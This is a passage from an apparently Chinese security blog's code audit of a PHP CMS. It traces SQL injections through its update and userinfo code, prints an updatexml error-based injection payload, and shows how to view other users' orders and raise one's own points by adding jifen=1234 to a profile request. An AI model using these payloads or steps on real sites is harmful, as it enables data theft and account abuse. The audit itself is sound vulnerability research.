class="string">'field'</span>]],<span class="number">3</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">8</span>:</span><br><span class="line"> $r = implode(<span class="string">','</span>,format_param($data[$v[<span class="string">'field'</span>]],<span class="number">2</span>));</span><br><span class="line"> <span class="keyword">if</span>($r!=<span class="string">''</span>){</span><br><span class="line"> $r = <span class="string">','</span>.$r.<span class="string">','</span>;</span><br><span class="line"> } </span><br><span class="line"> </span><br><span class="line"> $data[$v[<span class="string">'field'</span>]] = $r;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">else</span> <span class="keyword">if</span>(array_key_exists($v[<span class="string">'field'</span>].<span class="string">'_urls'</span>,$data)){</span><br><span class="line"> <span class="keyword">switch</span>($v[<span class="string">'fieldtype'</span>]){</span><br><span class="line"> <span class="keyword">case</span> <span class="number">6</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="number">10</span>:</span><br><span class="line"> $data[$v[<span class="string">'field'</span>]] = implode(<span class="string">'||'</span>,format_param($data[$v[<span class="string">'field'</span>].<span class="string">'_urls'</span>],<span class="number">2</span>));</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> </span><br><span class="line">$data[$v[<span class="string">'field'</span>]] = <span class="string">''</span>; </span><br><span class="line"> </span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> $data;</span><br><span class="line"> </span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>因为我们不是admin,所以我们会执行第6行代码<code>$fields = M('fields')->findAll(['molds'=>$molds,'isshow'=>1],'orders desc,id asc');</code></p><p>这里我post传入参数,简单的debug了一下,如下</p><p><img src="http://images.xianyu123.club/20200522210658.png" alt="2020-05-22_21-02-37"></p><p>所以上述代码<code>$fields['field']</code>是不存在的,所以只会执行第51行代码<code>$data[$v['field']] = '';</code>,所以第56行返回的代码就是<code>$data = $this->frparam();</code>,这也就解释了为什么中间对<code>tip</code>进行过滤,但为什么最后依然还是存在注入,这应该是个严重的开发失误。</p><p>然后我们接着回溯<code>update()</code>方法</p><p><code>/FrPHP/lib/Model.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"> <span class="comment">// 修改数据</span></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">update</span><span class="params">($conditions,$row)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> $where = <span class="string">""</span>;</span><br><span class="line">$row = <span class="keyword">$this</span>->__prepera_format($row);</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">empty</span>($row))<span class="keyword">return</span> <span class="keyword">FALSE</span>;</span><br><span class="line"><span class="keyword">if</span>(is_array($conditions)){</span><br><span class="line">$join = <span class="keyword">array</span>();</span><br><span class="line"><span class="keyword">foreach</span>( $conditions <span class="keyword">as</span> $key => $condition ){</span><br><span class="line">$condition = <span class="string">'\''</span>.$condition.<span class="string">'\''</span>;</span><br><span class="line">$join[] = <span class="string">"{$key} = {$condition}"</span>;</span><br><span class="line">}</span><br><span class="line">$where = <span class="string">"WHERE "</span>.join(<span class="string">" AND "</span>,$join);</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">null</span> != $conditions)$where = <span class="string">"WHERE "</span>.$conditions;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">foreach</span>($row <span class="keyword">as</span> $key => $value){</span><br><span class="line"><span class="keyword">if</span>($value!==<span class="keyword">null</span>){</span><br><span class="line">$value = <span class="string">'\''</span>.$value.<span class="string">'\''</span>;</span><br><span class="line">$vals[] = <span class="string">"{$key} = {$value}"</span>;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">$vals[] = <span class="string">"{$key} = null"</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line">$values = join(<span class="string">", "</span>,$vals);</span><br><span class="line">$table = <span class="keyword">self</span>::$table;</span><br><span class="line">$sql = <span class="string">"UPDATE {$table} SET {$values} {$where}"</span>;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">$this</span>->runSql($sql);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p><code>/Home/c/UserController.php</code>关键代码中的第25-26行,虽然25行<code>if($this->frparam('id'))</code>对<code>id</code>进行了过滤,但是第26行<code>$a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);</code>这里<code>update</code>插入的是最原始的数据,,=也就是<code>$w = get_fields_data($data,$w['molds']);</code>。虽然<code>$conditions</code>也就是条件被过滤了,但是不影响我们注入。</p><p>所以这里的<code>id</code>,<code>molds</code> ,<code>tid</code>三个字段都存在sql注入</p><p><img src="http://images.xianyu123.club/20200603192033.png" alt="image-20200603192033126"></p><p><img src="http://images.xianyu123.club/20200603192126.png" alt="image-20200603192126101"></p><p><img src="http://images.xianyu123.club/20200603192208.png" alt="image-20200603192207996"></p><h2 id="第三处sql注入"><a href="#第三处sql注入" class="headerlink" title="第三处sql注入"></a>第三处sql注入</h2><p><code>/Home/c/UserController.php</code>中的<code>userinfo()</code>方法中的关键代码如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">userinfo</span><span class="params">()</span></span>{</span><br><span class="line"><span class="keyword">$this</span>->checklogin();</span><br><span class="line"><span class="keyword">if</span>($_POST){</span><br><span class="line">$w = <span class="keyword">$this</span>->frparam();</span><br><span class="line">$w[<span class="string">'tel'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'tel'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'pass'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'password'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'sex'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'sex'</span>,<span class="number">0</span>,<span class="number">0</span>);</span><br><span class="line">$w[<span class="string">'repass'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'repassword'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'username'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'username'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'email'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'email'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'litpic'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'litpic'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'signature'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'signature'</span>,<span class="number">1</span>);</span><br><span class="line">$w = get_fields_data($w,<span class="string">'member'</span>,<span class="number">0</span>);</span><br><span class="line">........</span><br><span class="line">........</span><br><span class="line">........</span><br><span class="line">$re = M(<span class="string">'member'</span>)->update([<span class="string">'id'</span>=><span class="keyword">$this</span>->member[<span class="string">'id'</span>]],$w);</span><br><span class="line">$member = M(<span class="string">'member'</span>)->find([<span class="string">'id'</span>=><span class="keyword">$this</span>->member[<span class="string">'id'</span>]]);</span><br><span class="line"><span class="keyword">unset</span>($member[<span class="string">'pass'</span>]);</span><br><span class="line">$_SESSION[<span class="string">'member'</span>] = array_merge($_SESSION[<span class="string">'member'</span>],$member);</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'ajax'</span>)){</span><br><span class="line">JsonReturn([<span class="string">'code'</span>=><span class="number">0</span>,<span class="string">'msg'</span>=><span class="string">'修改成功!'</span>]);</span><br><span class="line">}</span><br><span class="line">Error(<span class="string">'修改成功!'</span>);</span><br></pre></td></tr></table></figure><p>这里我们对比一下我post抓包后的字段,我们发现有3个字段没有进行过滤,分别是<code>province</code>、<code>city</code>、<code>address</code>这三个字段</p><p><img src="http://images.xianyu123.club/20200521224630.png" alt="image-20200521224630806"></p><p>然后第17行<code>$re = M('member')->update(['id'=>$this->member['id']],$w);</code>所有字段依旧被<code>update</code>更新了,所以这里就存在了注入,还是一个报错注入,如果不回显报错也没有关系的,这里存在时间盲注,也是可以注入的</p><p>payload:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1' or (updatexml(1,concat(0x7e,(select user()),0x7e),1)) or '</span><br></pre></td></tr></table></figure><p><code>province</code>字段演示</p><p><img src="http://images.xianyu123.club/20200521225451.png" alt="image-20200521225451412"></p><p><code>city</code>字段演示</p><p><img src="http://images.xianyu123.club/20200521225648.png" alt="image-20200521225648455"></p><p><code>address</code>字段演示</p><p><img src="http://images.xianyu123.club/20200521225746.png" alt="image-20200521225746233"></p><h1 id="逻辑漏洞"><a href="#逻辑漏洞" class="headerlink" title="逻辑漏洞"></a>逻辑漏洞</h1><h2 id="第一处逻辑漏洞——任意订单查看"><a href="#第一处逻辑漏洞——任意订单查看" class="headerlink" title="第一处逻辑漏洞——任意订单查看"></a>第一处逻辑漏洞——任意订单查看</h2><p>首先注册两个账号,账号A和账号B</p><p>然后用账号B购买一些商品,产生交易记录和订单号码</p><p><img src="http://images.xianyu123.club/20200603153339.png" alt="6535A2CA-C386-4812-A77A-2BBF84A37302"></p><p>然后在A用户这里我的钱包——交易记录可以看到其他人的交易订单</p><p><img src="http://images.xianyu123.club/20200330150851.png" alt="image-20200330150851225"></p><p>而且这里的订单号明显是更具时间戳进行命名的,我用其他A账户也可以直接访问到B账户的一些订单信息</p><p><img src="http://images.xianyu123.club/20200603135708.png" alt="image-20200603135708200"></p><p>然后我们来分析为什么</p><p><code>/Home/c/UserController.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//购买列表</span></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">buylist</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">$this</span>->checklogin();</span><br><span class="line"> <span class="comment">//兑换记录</span></span><br><span class="line"> $page1 = <span class="keyword">new</span> Page(<span class="string">'buylog'</span>);</span><br><span class="line"><span class="keyword">$this</span>->type = <span class="keyword">$this</span>->frparam(<span class="string">'type'</span>,<span class="number">0</span>,<span class="number">1</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->type==<span class="number">1</span>){</span><br><span class="line">$sql =<span class="string">" buytype='money' and type=2 "</span>;</span><br><span class="line">}<span class="keyword">else</span> <span class="keyword">if</span>(<span class="keyword">$this</span>->type==<span class="number">2</span>){</span><br><span class="line">$sql =<span class="string">" buytype='jifen' and type=1 "</span>;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">$sql = <span class="string">" type=3 "</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$data1 = $page1->where($sql)->orderby(<span class="string">'addtime desc'</span>)->page(<span class="keyword">$this</span>->frparam(<span class="string">'p'</span>,<span class="number">0</span>,<span class="number">1</span>))->go();</span><br><span class="line">$page1->file_ext = <span class="string">''</span>;</span><br><span class="line">$pages1 = $page1->pageList(<span class="number">5</span>,<span class="string">'?p='</span>);</span><br><span class="line"><span class="keyword">$this</span>->pages1 = $pages1;</span><br><span class="line"><span class="keyword">foreach</span>($data1 <span class="keyword">as</span> $k=>$v){</span><br><span class="line">$data1[$k][<span class="string">'date'</span>] = date(<span class="string">'Y-m-d H:i:s'</span>,$v[<span class="string">'addtime'</span>]);</span><br><span class="line">$data1[$k][<span class="string">'details'</span>] = U(<span class="string">'user/buydetails'</span>,[<span class="string">'id'</span>=>$v[<span class="string">'id'</span>]]);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">$this</span>->lists1 = $data1;<span class="comment">//列表数据</span></span><br><span class="line"><span class="keyword">$this</span>->sum1 = $page1->sum;<span class="comment">//总数据</span></span><br><span class="line"><span class="keyword">$this</span>->listpage1 = $page1->listpage;<span class="comment">//分页数组-自定义分页可用</span></span><br><span class="line"><span class="keyword">$this</span>->prevpage1 = $page1->prevpage;<span class="comment">//上一页</span></span><br><span class="line"><span class="keyword">$this</span>->nextpage1 = $page1->nextpage;<span class="comment">//下一页</span></span><br><span class="line"><span class="keyword">$this</span>->allpage1 = $page1->allpage;<span class="comment">//总页数</span></span><br><span class="line"> <span class="comment">//订单记录</span></span><br><span class="line"> $page = <span class="keyword">new</span> Page(<span class="string">'orders'</span>);</span><br><span class="line"><span class="keyword">$this</span>->type = <span class="keyword">$this</span>->frparam(<span class="string">'type'</span>,<span class="number">0</span>,<span class="number">1</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->type==<span class="number">1</span>){</span><br><span class="line">$sql =<span class="string">" ptype=1 "</span>;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">$sql =<span class="string">" ptype=2 "</span>;</span><br><span class="line">}</span><br><span class="line">$sql.=<span class="string">" and isshow!=0 "</span>;</span><br><span class="line">$data = $page->where($sql)->orderby(<span class="string">'addtime desc'</span>)->page(<span class="keyword">$this</span>->frparam(<span class="string">'page'</span>,<span class="number">0</span>,<span class="number">1</span>))->go();</span><br><span class="line">$page->file_ext = <span class="string">''</span>;</span><br><span class="line">$pages = $page->pageList(<span class="number">5</span>,<span class="string">'?page='</span>);</span><br><span class="line"><span class="keyword">$this</span>->pages = $pages;</span><br><span class="line"><span class="keyword">foreach</span>($data <span class="keyword">as</span> $k=>$v){</span><br><span class="line">$data[$k][<span class="string">'date'</span>] = date(<span class="string">'Y-m-d H:i:s'</span>,$v[<span class="string">'addtime'</span>]);</span><br><span class="line">$data[$k][<span class="string">'orderdetails'</span>] = U(<span class="string">'user/orderdetails'</span>,[<span class="string">'orderno'</span>=>$v[<span class="string">'orderno'</span>]]);</span><br><span class="line">$data[$k][<span class="string">'orderdel'</span>] = U(<span class="string">'user/orderdel'</span>,[<span class="string">'orderno'</span>=>$v[<span class="string">'orderno'</span>]]);</span><br><span class="line">$data[$k][<span class="string">'buytype'</span>] = M(<span class="string">'buylog'</span>)->getField([<span class="string">'orderno'</span>=>$v[<span class="string">'orderno'</span>]],<span class="string">'type'</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">$this</span>->lists = $data;<span class="comment">//列表数据</span></span><br><span class="line"><span class="keyword">$this</span>->sum = $page->sum;<span class="comment">//总数据</span></span><br><span class="line"><span class="keyword">$this</span>->listpage = $page->listpage;<span class="comment">//分页数组-自定义分页可用</span></span><br><span class="line"><span class="keyword">$this</span>->prevpage = $page->prevpage;<span class="comment">//上一页</span></span><br><span class="line"><span class="keyword">$this</span>->nextpage = $page->nextpage;<span class="comment">//下一页</span></span><br><span class="line"><span class="keyword">$this</span>->allpage = $page->allpage;<span class="comment">//总页数</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">$this</span>->display(<span class="keyword">$this</span>->template.<span class="string">'/user/buy-list'</span>);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>可以看到第15行,这里在查询数据的时候,并没有查询某个特定用户,而是把所有人的购买记录都查询出来了,这样的话其他人都可以看到你的订单,你也可以看到其他人的订单。这里其实是开发者的问题,由于开发的失误才会导致这个问题。</p><h2 id="第二处逻辑漏洞——越权修改用户自己的积分"><a href="#第二处逻辑漏洞——越权修改用户自己的积分" class="headerlink" title="第二处逻辑漏洞——越权修改用户自己的积分"></a>第二处逻辑漏洞——越权修改用户自己的积分</h2><p>这里我们先演示一下结果,然后再去分析</p><p>首先我们注册一个账号,然后在后台看他的积分,是1积分</p><p><img src="http://images.xianyu123.club/20200528162723.png" alt="image-20200528162718125"></p><p>然后我们登录这个账号,然后在资料账户这里点提交抓包</p><p><img src="http://images.xianyu123.club/20200528163503.png" alt="image-20200528163503600"></p><p>然后在post字段中添加<code>jifen=1234</code>,发包</p><p><img src="http://images.xianyu123.club/20200528163547.png" alt="image-20200528163546966"></p><p>然后去后台看积分,发现积分已经被修改成了1234</p><p><img src="http://images.xianyu123.club/20200528163646.png" alt="image-20200528163646559"></p><p>接下来我们来分析一下为什么会这样</p><p>上面的用户资料账户的代码在<code>/Home/c/UserController.php</code>中的<code>userinfo</code>方法里</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">userinfo</span><span class="params">()</span></span>{</span><br><span class="line"><span class="keyword">$this</span>->checklogin();</span><br><span class="line"><span class="keyword">if</span>($_POST){</span><br><span class="line">$w = <span class="keyword">$this</span>->frparam();</span><br><span class="line">$w[<span class="string">'tel'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'tel'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'pass'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'password'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'sex'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'sex'</span>,<span class="number">0</span>,<span class="number">0</span>);</span><br><span class="line">$w[<span class="string">'repass'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'repassword'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'username'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'username'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'email'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'email'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'litpic'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'litpic'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'signature'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'signature'</span>,<span class="number">1</span>);</span><br><span class="line">$w = get_fields_data($w,<span class="string">'member'</span>,<span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span>($w[<span class="string">'tel'</span>]!=<span class="string">''</span>){</span><br><span class="line"><span class="keyword">if</span>(preg_match(<span class="string">"/^(13[0-9]|14[579]|15[0-3,5-9]|16[6]|17[0135678]|18[0-9]|19[89])\\d{8}$/"</span>,$w[<span class="string">'tel'</span>])){ </span><br><span class="line"></span><br><span class="line">}<span class="keyword">else</span>{ </span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'ajax'</span>)){</span><br><span class="line">JsonReturn([<span class="string">'code'</span>=><span class="number">1</span>,<span class="string">'msg'</span>=><span class="string">'手机号码格式错误!'</span>]);</span><br><span class="line">}</span><br><span class="line">Error(<span class="string">'手机号码格式错误!'</span>);</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"><span class="comment">//檢查是否已經註冊</span></span><br><span class="line">$r = M(<span class="string">'member'</span>)->find([<span class="string">'tel'</span>=>$w[<span class="string">'tel'</span>]]);</span><br><span class="line"><span class="keyword">if</span>($r){</span><br><span class="line"><span class="keyword">if</span>($r[<span class="string">'id'</span>]!=<span class="keyword">$this</span>->member[<span class="string">'id'</span>]){</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'ajax'</span>)){</span><br><span class="line">JsonReturn([<span class="string">'code'</span>=><span class="number">1</span>,<span class="string">'msg'</span>=><span class="string">'手机号已被注册!'</span>]);</span><br><span class="line">}</span><br><span class="line">Error(<span class="string">'手机号已被注册!'</span>);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>($w[<span class="string">'username'</span>]==<span class="string">''</span>){</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'ajax'</span>)){</span><br><span class="line">JsonReturn([<span class="string">'code'</span>=><span class="number">1</span>,<span class="string">'msg'</span>=><span class="string">'账户不能为空!'</span>]);</span><br><span class="line">}</span><br><span class="line">Error(<span class="string">'账户不能为空!'</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>($w[<span class="string">'pass'</span>]!=$w[<span class="string">'repass'</span>] && $w[<span class="string">'pass'</span>]!=<span class="string">''</span>){</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'ajax'</span>)){</span><br><span class="line">JsonReturn([<span class="string">'code'</span>=><span class="number">1</span>,<span class="string">'msg'</span>=><span class="string">'两次密码不同!'</span>]);</span><br><span class="line">}</span><br><span class="line">Error(<span class="string">'两次密码不同!'</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>($w[<span class="string">'email'</span>]){</span><br><span class="line">$r = M(<span class="string">'member'</span>)->find([<span class="string">'email'</span>=>$w[<span class="string">'email'</span>]]);</span><br><span class="line"><span class="keyword">if</span>($r){</span><br><span class="line"><span class="keyword">if</span>($r[<span class="string">'id'</span>]!=<span class="keyword">$this</span>->member[<span class="string">'id'</span>]){</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'ajax'</span>)){</span><br><span class="line">JsonReturn([<span class="string">'code'</span>=><span class="number">1</span>,<span class="string">'msg'</span>=><span class="string">'邮箱已被使用!'</span>]);</span><br><span class="line">}</span><br><span class="line">Error(<span class="string">'邮箱已被使用!'</span>);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$r = M(<span class="string">'member'</span>)->find([<span class="string">'username'</span>=>$w[<span class="string">'username'</span>]]);</span><br><span class="line"><span class="keyword">if</span>($r){</span><br><span class="line"><span class="keyword">if</span>($r[<span class="string">'id'</span>]!=<span class="keyword">$this</span>->member[<span class="string">'id'</span>]){</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'ajax'</span>)){</span><br><span class="line">JsonReturn([<span class="string">'code'</span>=><span class="number">1</span>,<span class="string">'msg'</span>=><span class="string">'昵称已被使用!'</span>]);</span><br><span class="line">}</span><br><span class="line">Error(<span class="string">'昵称已被使用!'</span>);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>($w[<span class="string">'pass'</span>]!=<span class="string">''</span>){</span><br><span class="line">$w[<span class="string">'pass'</span>] = md5(md5($w[<span class="string">'pass'</span>]).md5($w[<span class="string">'pass'</span>]));</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="keyword">unset</span>($w[<span class="string">'pass'</span>]);</span><br><span class="line"><span class="keyword">unset</span>($w[<span class="string">'repass'</span>]);</span><br><span class="line">}</span><br><span class="line">$re = M(<span class="string">'member'</span>)->update([<span class="string">'id'</span>=><span class="keyword">$this</span>->member[<span class="string">'id'</span>]],$w);</span><br><span class="line">$member = M(<span class="string">'member'</span>)->find([<span class="string">'id'</span>=><span class="keyword">$this</span>->member[<span class="string">'id'</span>]]);</span><br><span class="line"><span class="keyword">unset</span>($member[<span class="string">'pass'</span>]);</span><br><span class="line">$_SESSION[<span class="string">'member'</span>] = array_merge($_SESSION[<span class="string">'member'</span>],$member);</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'ajax'</span>)){</span><br><span class="line">JsonReturn([<span class="string">'code'</span>=><span class="number">0</span>,<span class="string">'msg'</span>=><span class="string">'修改成功!'</span>]);</span><br><span class="line">}</span><br><span class="line">Error(<span class="string">'修改成功!'</span>);</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">$this</span>->display(<span class="keyword">$this</span>->template.<span class="string">'/user/userinfo'</span>);</span><br><span class="line"> </span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>然后我们再来看admin那里修改用户积分的代码</p><p><code>/A/c/MemberController.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">memberedit</span><span class="params">()</span></span>{</span><br><span class="line"><span class="keyword">$this</span>->fields_biaoshi = <span class="string">'member'</span>;</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'go'</span>)==<span class="number">1</span>){</span><br><span class="line">$data = <span class="keyword">$this</span>->frparam();</span><br><span class="line">$data = get_fields_data($data,<span class="string">'member'</span>);</span><br><span class="line">$data[<span class="string">'username'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'username'</span>,<span class="number">1</span>);</span><br><span class="line">$data[<span class="string">'email'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'email'</span>,<span class="number">1</span>);</span><br><span class="line">$data[<span 